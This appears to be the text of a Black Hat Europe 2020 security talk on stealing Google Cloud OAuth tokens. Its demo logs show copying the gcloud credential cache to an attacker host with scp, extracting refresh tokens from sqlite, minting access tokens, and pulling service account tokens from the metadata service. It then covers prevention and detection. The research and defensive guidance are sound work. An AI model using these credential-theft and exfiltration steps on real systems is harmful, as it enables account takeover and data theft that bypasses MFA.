black hat EUROPE 2020
DECEMBER 9–10
BRIEFINGS

IAM Concerned: OAuth Token Hijacking in Google Cloud

Jenko Hwong
December 9, 2020

whoami

- Security Researcher @ Netskope Threat Labs
- Engineering and product at various security startups in vulnerability scanning, AV/AS, pen-testing/exploits, L3/4 appliances, threat intel, and windows security.
- @jenkohwong

What

- Ease of Attack
  - Hijacking credentials in bulk for easy CLI access to victim's GCP environments
  - Specific use of OAuth tokens for easy API access to victim's GCP environments
  - Additional opportunities with service accounts and compute instances

- Securing Challenges
  - Prevention
  - Detection
  - Remediation

Why

Red

- OAuth is used underneath in all Google authentication with some nuances
  - user accounts and service accounts
  - browser and SDK
  - external client vs internal compute VMs
- Session tokens provide an attacker opportunity to hijack and reuse|abuse authenticated sessions
- With access to a GCP administrator's client device, cached GCP accounts/environments are easily accessible

Additional attack vectors for persistence and evasion

Blue

- MFA does not apply when you think
- Prevention, detection, remediation are confusing and likely to be misunderstood

IR and security ops may not be prepared for prevention, detection, remediation use cases

OAuth Everywhere

1. Access requested (OAuth access token request) -- typically browser authentication and scope approval.

2. OAuth session access and refresh tokens are created and returned (and cached).

3. The access token is used for authentication for subsequent API calls (bearer token). Refresh token is used to create a new access token as required.

Attack #1:
Bulk Copy Credentials DB (CLI)

```
target-host:~ $ # switch accounts without reauth.
target-host:~ $
target-host:~ $ # PRODUCTION:
target-host:~ $ # prod-mfa-hw.com is a production account protected with MFA
target-host:~ $ # (hardware security key). Let's see what happens when we
target-host:~ $ # switch to it and access some buckets.
target-host:~ $
target-host:~ $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
target-host:~ $ gcloud auth list
  Credentialed Accounts
ACTIVE  ACCOUNT
*       admin@prod-mfa-hw.com
        user@dev-mfa.com

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

target-host:~ $
target-host:~ $ gcloud projects list
PROJECT_ID           NAME          PROJECT_NUMBER
project-prod-318719  project-prod  739418321430
target-host:~ $ gsutil ls -p project-prod-318719
gs://sensitive-bucket/
target-host:~ $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
target-host:~ $
target-host:~ $ # Oops.
target-host:~ $
target-host:~ $ # gcloud does not prompt for/require MFA since there's an existing
target-host:~ $ # OAuth token. It also does not prompt for MFA during OAuth token
target-host:~ $ # refreshes. It will not prompt unless you expire the session. Even
target-host:~ $ # if you expire the session, the reauth method could be weaker--
target-host:~ $ # it might be password instead of security key because there are
target-host:~ $ # two separate security settings governing auth methods for
target-host:~ $ # reauth vs initial login.
target-host:~ $
target-host:~ $
target-host:~ $ # All the accounts/sessions are cached in the same way.
target-host:~ $ # The user@dev-mfa.com account also has MFA set (Authenticator App),
target-host:~ $ # but similarly, we can switch back to it without MFA
```

```
my-attack-host-12345.com:/tmp $
```

```
PROJECT_ID           NAME          PROJECT_NUMBER
project-prod-318719  project-prod  739418321430
target-host:~ $ gsutil ls -p project-prod-318719
gs://sensitive-bucket/
target-host:~ $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
target-host:~ $
target-host:~ $ # Oops.
target-host:~ $
target-host:~ $ # gcloud does not prompt for/require MFA since there's an existing
target-host:~ $ # OAuth token. It also does not prompt for MFA during OAuth token
target-host:~ $ # refreshes. It will not prompt unless you expire the session. Even
target-host:~ $ # if you expire the session, the reauth method could be weaker--
target-host:~ $ # it might be password instead of security key because there are
target-host:~ $ # two separate security settings governing auth methods for
target-host:~ $ # reauth vs initial login.
target-host:~ $
target-host:~ $
target-host:~ $ # All the accounts/sessions are cached in the same way.
target-host:~ $ # The user@dev-mfa.com account also has MFA set (Authenticator App),
target-host:~ $ # but similarly, we can switch back to it without MFA.
target-host:~ $
target-host:~ $ gcloud config set account user@dev-mfa.com
Updated property [core/account].
target-host:~ $
target-host:~ $
target-host:~ $
target-host:~ $ # Exfiltrate the creds/session cache
target-host:~ $
target-host:~ $ # Let's tar everything up and transfer to another machine to
target-host:~ $ # see if it works...
target-host:~ $
target-host:~ $ cd ~/.config
target-host:~ $ tar zcf gcloud.tgz gcloud
target-host:~ $ scp gcloud.tgz user@my-attack-host-12345.com:/tmp
user@my-attack-host-12345.com's password:
gcloud.tgz                                    100% 2437120    18.8KB/s   00:01
target-host:~ $
target-host:~ $ # Let's go to the other machine (attack-host)...
target-host:~ $
target-host:~ $
```

```
utun1
utun2
utun3
en7
        ether 00:e0:*******:4c
        inet 10.10.10.25 netmask 0xffffff00 broadcast 10.10.10.255
my-attack-host-12345.com:/tmp $ gcloud auth list

No credentialed accounts.

To login, run:
  $ gcloud auth login `ACCOUNT`

my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ # Unpack creds/session cache from compromised host.
my-attack-host-12345.com:/tmp $ # And check to see if copy of creds/session cache works.
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ ls -l /tmp/gcloud.tgz
-rw-r--r--  1 user  wheel  1879752 Aug  7 07:58 /tmp/gcloud.tgz
my-attack-host-12345.com:/tmp $ cd ~/.config
my-attack-host-12345.com:~/.config $ tar zxf /tmp/gcloud.tgz
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ # That was easy.
my-attack-host-12345.com:~/.config $
```

Attack #2:
Use OAuth Tokens (API)

```
target-host:~ $ # little more general and use the actual OAuth tokens underneath, so
target-host:~ $ # we can execute arbitrary API calls.
target-host:~ $
target-host:~ $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
target-host:~ $
target-host:~ $ # OAuth tokans expire after 1 hour, so we'll need to use the refresh
target-host:~ $ # token to generate a new OAuth token.
target-host:~ $
target-host:~ $ # First, we get the OAuth refresh token from the cache: credentials.db.
target-host:~ $ # This returns a big json blob, so parse_token.sh does some grep-sed
target-host:~ $ # to extract the refresh token from the refresh_token attribute.
target-host:~ $
target-host:~ $ ls ~/.config/gcloud
access_tokens     active_config  config_sentinel  credentials.db  legacy_credentials
access_tokens.db  cache          configurations   gce             logs
target-host:~ $
target-host:~ $ # access_tokens.db is an unencrypted sqlite database and has the
target-host:~ $ # latest oauth tokens for each user account.
target-host:~ $
target-host:~ $ date
Fri Aug  7 08:00:42 PDT 2020
target-host:~ $ sqlite3 ~/.config/gcloud/access_tokens.db "select access_token from access_tokens whe
re account_id = 'admin@prod-mfa-hw.com';"
ya29.60iZE3WaO9TfpIMQ7e3t/BchZUANy0WfsifgtHKfxTZGRmPH5L4MzkJ4t/wH2KissEDjuUz9Q+CHP1RcJr5+NQ/euaqInaP9
A+0iv2XJvHtndBkQFh/IQNxIEG4zO4agny5kAXCGerdzCIE8g4Z5KrYIOFvkCrfGDEw/JkY5c1fQDeQs

target-host:~ $
target-host:~ $ # above is the current oauth access token
target-host:~ $
target-host:~ $
target-host:~ $ # Let's look at credentials.db which has oauth client ids and
target-host:~ $ # refresh tokens:
target-host:~ $
target-host:~ $ date
Fri Aug  7 08:00:56 PDT 2020
target-host:~ $ sqlite3 ~/.config/gcloud/credentials.db "select value from credentials wh
```

```
utun1
utun2
utun3
en7
        ether 00:e0:*******:4c
        inet 10.10.10.25 netmask 0xffffff00 broadcast 10.10.10.255
my-attack-host-12345.com:/tmp $ gcloud auth list

No credentialed accounts.

To login, run:
  $ gcloud auth login `ACCOUNT`

my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ # Unpack creds/session cache from compromised host.
my-attack-host-12345.com:/tmp $ # And check to see if copy of creds/session cache works.
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ ls -l /tmp/gcloud.tgz
-rw-r--r--  1 user  wheel  1879752 Aug  7 07:58 /tmp/gcloud.tgz
my-attack-host-12345.com:/tmp $ cd ~/.config
my-attack-host-12345.com:~/.config $ tar zxf /tmp/gcloud.tgz
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ # That was easy.
my-attack-host-12345.com:~/.config $
```

```
target-host:~ $ sqlite3 ~/.config/gcloud/credentials.db "select value from credentials wh
ere account_id = 'admin@prod-mfa-hw.com'"
{
  "client_id": "32221760559.apps.googleusercontent.com",
  "client_secret": "ZmssLscZiotolmn58ZxnMu/4",
  "id_token": {
    "at_hash": "64ACoyf0Tf499YZ7_rt6kg",
    "aud": "32221760559.apps.googleusercontent.com",
    "azp": "32221760559.apps.googleusercontent.com",
    "email": "admin@prod-mfa-hw.com",
    "email_verified": true,
    "exp": 1592413923,
    "hd": "prod-mfa-hw.com",
    "iat": 1592410323,
    "iss": "https://accounts.google.com",
    "sub": "115862712174236859322"
  },
  "refresh_token": "1//06O7jOOLEXIJ7rX3NQOCNwPFuMMQA0VlgYnfdZZs9XdKCABJl28eMYMkhbjnZnZ/nrpaAVypohZLYC
sLlE8QJyJwL6n8Y2DeJAtg",
  "revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
  "scopes": [
    "openid",
    "https://www.googleapis.com/auth/appengine.admin",
    "https://www.googleapis.com/auth/accounts.reauth",
    "https://www.googleapis.com/auth/cloud-platform",
    "https://www.googleapis.com/auth/compute",
    "https://www.googleapis.com/auth/userinfo.email"
  ],
  "token_response": {
    "access_token": "token_hash(ya29.EYHSEE2grLkero61FJTg9IHJ2QaJ60AT9nrbObswmSXTjq4ZeHcOz3zyCBGIPTuJ
m+6vLZs6lLImdXWiZSUisQ9yqJk9sH6liKaRPEsOt1amq7+XbhUzgfbUaEsEy3EBPGcqGbFLV1DSRC8r2/IF2v8L05j1RwjO/ZJqa
WwGrQAQb)",
    "expires_in": 3599,
    "id_token": "eyJhb5tmHzgWQqtI0LyGEsB1FBq84pXaLkW8Oc5+AWd5qZBUFb3nHrTjAUxEakgEy6LDYRf5n7/vdzlnHi2z
4P4Tcgg637YxOYrC4sMvQ9+fS5lJ3p/IH5n2tE3+OhGXCoZgTRm+UlgJGcpHG4WySBGqkKNQZpr5pyXGlL+AJ8x3Ggl7w3rMzNW5K
5lic03nKtXF/ToormfZqT+TDFrR0VQyt6PYvl360dfcnReLTmIl1WrjdD4djdCCDyRPv4HVn9zlK1AaCMw5AMCzz46DmRdHZ7ejdG
8p00Q4qt4jdklACEhbjJeUC1orkUoggi9NNErt2dbWJtj7ItEspDt9uyadPyZzQk88NZyBQwFWLVtyu/vkuBFSaM8Nm4gvOZVoUXj
QkAzQI5Za3Ii2Bi3BC3QnH7Q2XfRXFiXck4dWDZ2+lbpwNegHBN5xhTFryHkB/HaAonJ0oHSrbT9YDGbCqy8iZIxXVbwDafzbOntW
lYy55P4q5OnrQEpVMw0aKZFCXgYHq2m+Ar1BuHehs/e2AR9L0xRBekzGu4VcEJTNcqnSA1FPFcRgnztmX2cUohLYRnSRrbrKF9kNt
9qGVDlLuZu/7ivClbQMCqaEzgCqYoiJfAnM1VSL23/vWbTI5LipKEeyXD+xIlQK+YLj7cla4n/G76Ku2a3t010pu9pFtb7PtGf0lO
omwNCEgoiSgtalrQHZy2g2lWcRYmucl4TcopuNFXrYaXc4gRr4R0nymqbiPvFaDEBQGnuowjL2M/MOr3uOKIPKJOgkBQMclf2lxwQ
/pLMx6LJmxDI4uF1mr//EADuLdPvMOkyfx27hwIck77emqxG2l4HWFz",
    "refresh_token": "1//06O7jOOLEXIJ7rX3NQOCNwPFuMMQA0VlgYnfdZZs9XdKCABJl28eMYMkhbjnZnZ/nrpaAVypohZL
YCsLlE8QJyJwL6n8Y2DeJAtg",
--More--
```

```
utun1
utun2
utun3
en7
        ether 00:e0:*******:4c
        inet 10.10.10.25 netmask 0xffffff00 broadcast 10.10.10.255
my-attack-host-12345.com:/tmp $ gcloud auth list

No credentialed accounts.

To login, run:
  $ gcloud auth login `ACCOUNT`

my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ # Unpack creds/session cache from compromised host.
my-attack-host-12345.com:/tmp $ # And check to see if copy of creds/session cache works.
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ ls -l /tmp/gcloud.tgz
-rw-r--r--  1 user  wheel  1879752 Aug  7 07:58 /tmp/gcloud.tgz
my-attack-host-12345.com:/tmp $ cd ~/.config
my-attack-host-12345.com:~/.config $ tar zxf /tmp/gcloud.tgz
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ # That was easy.
my-attack-host-12345.com:~/.config $
```

```
target-host:~ $
target-host:~ $ sqlite3 ~/.config/gcloud/credentials.db "select value from credentials where account_
id = 'admin@prod-mfa-hw.com'" | parse_token.sh refresh_token
1//0607j00LEXIJ7rX3NQOCNwPFuMMQA0VlgYnfdZZs9XdKCABJl28eMYMkhbjnZnZ/nrpaAVypohZLYCsLlE8QJyJwL6n8Y2DeJA
tg
target-host:~ $
target-host:~ $
target-host:~ $ # Now, we'll use the client id, client secret, and refresh token to get a new OAuth T
oken
target-host:~ $
target-host:~ $ date
Fri Aug  7 08:01:35 PDT 2020
target-host:~ $ curl3_refresh_token.sh 1//0607j00LEXIJ7rX3NQOCNwPFuMMQA0VlgYnfdZZs9XdKCABJl28eMYMkhbj
nZnZ/nrpaAVypohZLYCsLlE8QJyJwL6n8Y2DeJAtg

### Calling REST API to get new OAuth Token

### Refresh Token: 1//0607j00LEXIJ7rX3NQOCNwPFuMMQA0VlgYnfdZZs9XdKCABJl28eMYMkhbjnZnZ/nrpaAVypohZLYCs
LlE8QJyJwL6n8Y2DeJAtg
### Client ID: 32221760559.apps.googleusercontent.com
### Client Secret: ZmssLscZiotolmn58ZxnMu/4
### Scope: https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.re
auth
### Endpoint: https://www.googleapis.com/oauth2/v4/token

curl -s --data client_id=32221760559.apps.googleusercontent.com --data client_secret=ZmssLscZiotolmn5
8ZxnMu/4 --data grant_type=refresh_token --data refresh_token=1//0607j00LEXIJ7rX3NQOCNwPFuMMQA0VlgYnf
dZZs9XdKCABJl28eMYMkhbjnZnZ/nrpaAVypohZLYCsLlE8QJyJwL6n8Y2DeJAtg --data scope="https://www.googleapis
.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/
oauth2/v4/token

{
  "access_token": "token_hash(ya29.+NObBtNfdiHNKyQavm26+mE75FwAwbPB2anDtwtUHAtmTJlEFBbrag5Dq25p0j3z34
HaGk9kklueZlHcHunrEQfajSq6BMfX9Ps2buuaIX4XwoerzYdSuN7yH0uyVh2LMWh2IxF4XJjN/m7i8T6VF8WBBK0PCELpvmDZoZb
jb4OALFhsgyPLai9e)",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.
admin https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/accounts.reauth
openid https://www.googleapis.com/auth/compute",
  "token_type": "Bearer"
}
target-host:~ $
target-host:~ $ # New access token is: ya29.+NObBtNfdiHNKyQavm26+mE75FwAwbPB2anDtwtUHAtmTJlEFBbrag5Dq
25p0j3z34HaGk9kklueZlHcHunrEQfajSq6BMfX9Ps2buuaIX4XwoerzYdSuN7yH0uyVh2LMWh2IxF4XJjN/m7i8T6VF8WBBK0PCE
LpvmDZoZbjb4OALFhsgyPLai9e
```

```
utun1
utun2
utun3
en7
        ether 00:e0:*******:4c
        inet 10.10.10.25 netmask 0xffffff00 broadcast 10.10.10.255
my-attack-host-12345.com:/tmp $ gcloud auth list

No credentialed accounts.

To login, run:
  $ gcloud auth login `ACCOUNT`

my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ # Unpack creds/session cache from compromised host.
my-attack-host-12345.com:/tmp $ # And check to see if copy of creds/session cache works.
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ ls -l /tmp/gcloud.tgz
-rw-r--r--  1 user  wheel  1879752 Aug  7 07:58 /tmp/gcloud.tgz
my-attack-host-12345.com:/tmp $ cd ~/.config
my-attack-host-12345.com:~/.config $ tar zxf /tmp/gcloud.tgz
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ # That was easy.
my-attack-host-12345.com:~/.config $
```

```
### Accessing Account: admin@prod-mfa-hw.com
### Accessing Bucket: https://storage.googleapis.com/storage/v1/b/sensitive-bucket/o
### Using token: ya29.+NObBtNfdiHNKyQavm26+mE75FwAwbPB2anDtwtUHAtmTJlEFBbrag5Dq25p0j3z34HaGk9kklueZlHcHunrEQfajSq6BMfX9Ps2buuaIX4XwoerzYdSuN7yH0uyVh2LMWh2IxF4XJjN/m7i8T6VF8WBBK0PCELpvmDZoZbjb4OALFhsgyPLai9e

curl -s -H "Authorization: Bearer ya29.+NObBtNfdiHNKyQavm26+mE75FwAwbPB2anDtwtUHAtmTJlEFBbrag5Dq25p0j3z34HaGk9kklueZlHcHunrEQfajSq6BMfX9Ps2buuaIX4XwoerzYdSuN7yH0uyVh2LMWh2IxF4XJjN/m7i8T6VF8WBBK0PCELpvmDZoZbjb4OALFhsgyPLai9e" https://storage.googleapis.com/storage/v1/b/sensitive-bucket/o

{
  "kind": "storage#objects",
  "nextPageToken": "Cj1pbnRyb3NwZWN0aW9uL21vbmdvZGIvMjAyMC0wNy0wNi90ZW5hbnRfMjU3MF92Ml9hcHBtZXRhXy5qc29u",
  "items": [
    {
      "kind": "storage#object",
      "id": "sensitive-bucket/credit_cards//1591981932868447",
      "selfLink": "https://www.googleapis.com/storage/v1/b/sensitive-bucket/o/credit_cards%2F",
      "mediaLink": "https://storage.googleapis.com/download/storage/v1/b/sensitive-bucket/o/credit_cards%2F?generation=1591981932868447&alt=media",
      "name": "credit_cards/",
      "bucket": "sensitive-bucket",
      "generation": "1591981932868447",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "11",
      "md5Hash": "apnFdauH+MfR7R5S5+NJzg==",
      "crc32c": "XkI+Dw==",
      "etag": "CN/m4+zi/OkCEAE=",
      "eventBasedHold": false,
      "timeCreated": "2020-06-12T17:12:12.868Z",
      "updated": "2020-06-12T17:12:12.868Z",
      "timeStorageClassUpdated": "2020-06-12T17:12:12.868Z"
    },
    {
      "kind": "storage#object",
      "id": "sensitive-bucket/credit_cards/aws_compute//1595258489397102",
      "selfLink": "https://www.googleapis.com/storage/v1/b/sensitive-bucket/o/credit_cards%2Faws_compute%2F",
      "mediaLink": "https://storage.googleapis.com/download/storage/v1/b/sensitive-bucket/o/credit_cards%2Faws_compute%2F?generation=1595258489397102&alt=media",
--More--
```

```
utun1
utun2
utun3
en7
        ether 00:e0:*******:4c
        inet 10.10.10.25 netmask 0xffffff00 broadcast 10.10.10.255
my-attack-host-12345.com:/tmp $ gcloud auth list

No credentialed accounts.

To login, run:
  $ gcloud auth login `ACCOUNT`

my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ # Unpack creds/session cache from compromised host.
my-attack-host-12345.com:/tmp $ # And check to see if copy of creds/session cache works.
my-attack-host-12345.com:/tmp $
my-attack-host-12345.com:/tmp $ ls -l /tmp/gcloud.tgz
-rw-r--r--  1 user  wheel  1879752 Aug  7 07:58 /tmp/gcloud.tgz
my-attack-host-12345.com:/tmp $ cd ~/.config
my-attack-host-12345.com:~/.config $ tar zxf /tmp/gcloud.tgz
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud auth list

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

  Credentialed Accounts
ACTIVE  ACCOUNT
        admin@prod-mfa-hw.com
*       user@dev-mfa.com
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gcloud config set account admin@prod-mfa-hw.com
Updated property [core/account].
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ gsutil ls gs://sensitive-bucket
gs://sensitive-bucket/credit_cards/
gs://sensitive-bucket/SSNs/
gs://sensitive-bucket/PHR/
gs://sensitive-bucket/output/
gs://sensitive-bucket/passwords/
my-attack-host-12345.com:~/.config $
my-attack-host-12345.com:~/.config $ # That was easy.
my-attack-host-12345.com:~/.config $
```

More Attack Opportunities

- Service Accounts
  - External client: service account oauth tokens for persistent access

More Attack Opportunities

- Service Accounts
  - External client: service account oauth tokens for persistent access
  - Compute instance: service account oauth tokens returned by metadata service

```
curl \
"http://metadata.google.internal/computeMetadata/v1/instance/servic
e-accounts/default/token" -H "Metadata-Flavor: Google"

curl -s -H "Authorization: Bearer ya29.c..." \
https://storage.googleapis.com/storage/v1/b/bucket-foo-dev-mfa/o
```

More Attack Opportunities

- Service Accounts
  - External client: service account oauth tokens for pe
  - Compute instance: service account oauth tokens returned by metadata service

```
curl \
"http://metadata.google.internal/computeMetadata/v
e-accounts/default/token" -H "Metadata-Flavor: Goo

curl -s -H "Authorization: Bearer ya29.c..." \
https://storage.googleapis.com/storage/v1/b/bucket
```

```
# Get OAuth access token from metadata service
#
user@vm-foo-dev-mfa:~$ curl \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/defaul
t/token" -H "Metadata-Flavor: Google"
{"access_token":"ya29.uu7fTls+F9Z4mxnfuuBpXE/vFZ+EtgEzWp3t4UlbiWkspPuhleJWPYOMhkEkjh
KSmNIYzFoTW0qiaPrdNy7PlgHBj5D7lIJeAJVhf02Vhofzfbzwn9SdOoHPQFxJcTzpBU/C1XQ4YFvD3Gu2g"
,"expires_in":3213,"token_type":"Bearer"}
user@vm-foo-dev-mfa:~$

# List bucket with OAuth access token
#
user@vm-foo-dev-mfa:~$ curl -s -H "Authorization: Bearer \
ya29.uu7fTls+F9Z4mxnfuuBpXE/vFZ+EtgEzWp3t4UlbiWkspPuhleJWPYOMhkEkjhKSmNIYzFoTW0qiaPr
dNy7PlgHBj5D7lIJeAJVhf02Vhofzfbzwn9SdOoHPQFxJcTzpBU/C1XQ4YFvD3Gu2g" \
https://storage.googleapis.com/storage/v1/b/bucket-foo-dev-mfa/o
{
  "kind": "storage#objects",
  "items": [
    {
      "kind": "storage#object",
      "id": "bucket-foo-dev-mfa/devops_guide.pdf/1593060755191310",
      "selfLink":
"https://www.googleapis.com/storage/v1/b/bucket-foo-dev-mfa/o/devops_guide.pdf",
      "mediaLink":
"https://storage.googleapis.com/download/storage/v1/b/bucket-foo-dev-mfa/o/devops_gu
ide.pdf?generation=1593060755191310&alt=media",
      "name": "devops_guide.pdf",
      "bucket": "bucket-foo-dev-mfa",
      "generation": "1593060755191310",
      "metageneration": "1",
      "contentType": "application/pdf",
      "storageClass": "STANDARD",
      "size": "1916028",
      "md5Hash": "jSd48KF9zLEZ5Sm5VXek+A==",
      "crc32c": "FoPd6A==",
      "etag": "CI7srOOVnOoCEAE=",
      "timeCreated": "2020-06-25T04:52:35.191Z",
      "updated": "2020-06-25T04:52:35.191Z",
      "timeStorageClassUpdated": "2020-06-25T04:52:35.191Z"
    }
  ]
}
```

More Attack Opportunities

- Service Accounts
  - External client: service account oauth tokens for persistent access
  - Compute instance: service account oauth tokens returned by metadata service

- Compute Instances
  - User-managed: Google Cloud SDK (SDK installed by you)
  - GCP-managed: Cloud Shell (SDK installed for you)

    Persistent GCP backdoors with Google's Cloud Shell, Juan Berner, 10/27/2018
    https://medium.com/@89berner/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec

Prevention

- Set the expiration time for Google Cloud SDK sessions (beta in GSuite Admin)
- Enforce IP allow list using VPC service controls (GCP)
- Use MFA
- Additional Topics
  - IP allow list on compute instances
  - IP allow list enforcement

Prevention
Cloud Session Duration

- G Suite Admin > Security > Google Cloud session control

- Session duration
- Re-authentication method

Prevention
IP Allow List

- Google Cloud Console > Security > Access Context Manager

Prevention
IP Allow List

- Google Cloud Console > Security > VPC Service Controls

VPC Service Controls GO TO AUDIT LOGS TROUBLESHOOT

VPC Service Perimeters function like a firewall for GCP APIs. Choose which projects you wish to be part of the perimeter and which services you want to be protected by it. Learn more

ENFORCED MODE DRY RUN MODE

+ NEW PERIMETER

Filter service perimeters

Name ↓	Type	Project Count	Services	Access Level
main_vpc_service_perimeter	Regular	1	BigQuery API, Binary Authorization API, Google Bigtable API and 46 more	access_level_whitelist_ip

Prevention
IP Allow List

```
another-host:~ $ gsutil ls -l gs://bucket-foo-dev-mfa
AccessDeniedException: 403 Request is prohibited by organization's policy.
vpcServiceControlsUniqueIdentifier: 93a9ce90174ce407
another-host:~
```

Prevention
IP Allow List on VM Instances

- Smaller/static environments
  - hard-code VM VPC CIDR ranges in IP allow lists
- Larger/dynamic environments
  - automatic IP allow list maintenance during startup/provisioning of VMs

Related Work on AWS, Netflix Security Team, Will Bengston, 2018:

- Netflix Information Security: Preventing Credential Compromise in AWS

  https://netflixtechblog.com/netflix-cloud-security-detecting-credential-compromise-in-aws-9493d6fd373a
- Netflix Information Security: Preventing Credential Compromise in AWS

  https://netflixtechblog.com/netflix-information-security-preventing-credential-compromise-in-aws-41b112c15179

Prevention
IP Allow List Enforcement

```
gcloud beta access-context-manager levels describe …
gcloud beta access-context-manager perimeters describe ...
```

```
target-host:~ $ gcloud beta access-context-manager levels list
NAME                        TITLE                      LEVEL_TYPE
access_level_tw2iajxc       access_level_whitelist_ip  Basic
target-host:~ $
target-host:~ $ gcloud beta access-context-manager levels describe
access_level_tw2iajxc
basic:
  conditions:
  - ipSubnetworks:
    - 10.101.135.250
description: IP Whitelist for authorized IPs
name: accessPolicies/1019307517253/accessLevels/access_level_tw2iajxc
title: access_level_whitelist_ip
target-host:~ $
target-host:~ $ gcloud beta access-context-manager perimeters list
NAME                        TITLE
main_vpc_service_perimeter  main_vpc_service_perimeter
target-host:~ $
target-host:~ $ gcloud beta access-context-manager perimeters describe
main_vpc_service_perimeter
name:
accessPolicies/1019307517253/servicePerimeters/main_vpc_service_perimeter
status:
  accessLevels:
    - accessPolicies/1019307517253/accessLevels/access_level_tw2iajxc
  resources:
  - projects/782318336815
  restrictedServices:
  - bigquery.googleapis.com
    ...
    ...
  - servicedirectory.googleapis.com
    vpcAccessibleServices: {}
    title: main_vpc_service_perimeter
target-host:~ $
```

Prevention
MFA

- G Suite Admin > Security > 2-Step Verification

Detection

- Behavioral detection (difficult)
- Detect failed authentications due to IP allow list (prevention)
- Detect failed authentications from fake accounts (breadcrumbs)


```
{
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "status": {
      "code": 7,
      "message": "PERMISSION_DENIED",
      "details": [
        {
          "@type": "type.googleapis.com/google.rpc.PreconditionFailure",
          "violations": [
            {
              "type": "VPC_SERVICE_CONTROLS",
              "description": "3ga82e8208a12fcd"
     ...
    },
    "authenticationInfo": {},
    "requestMetadata": {
      "callerIp": "5.152.213.186",
      "requestAttributes": {},
      "destinationAttributes": {}
    },
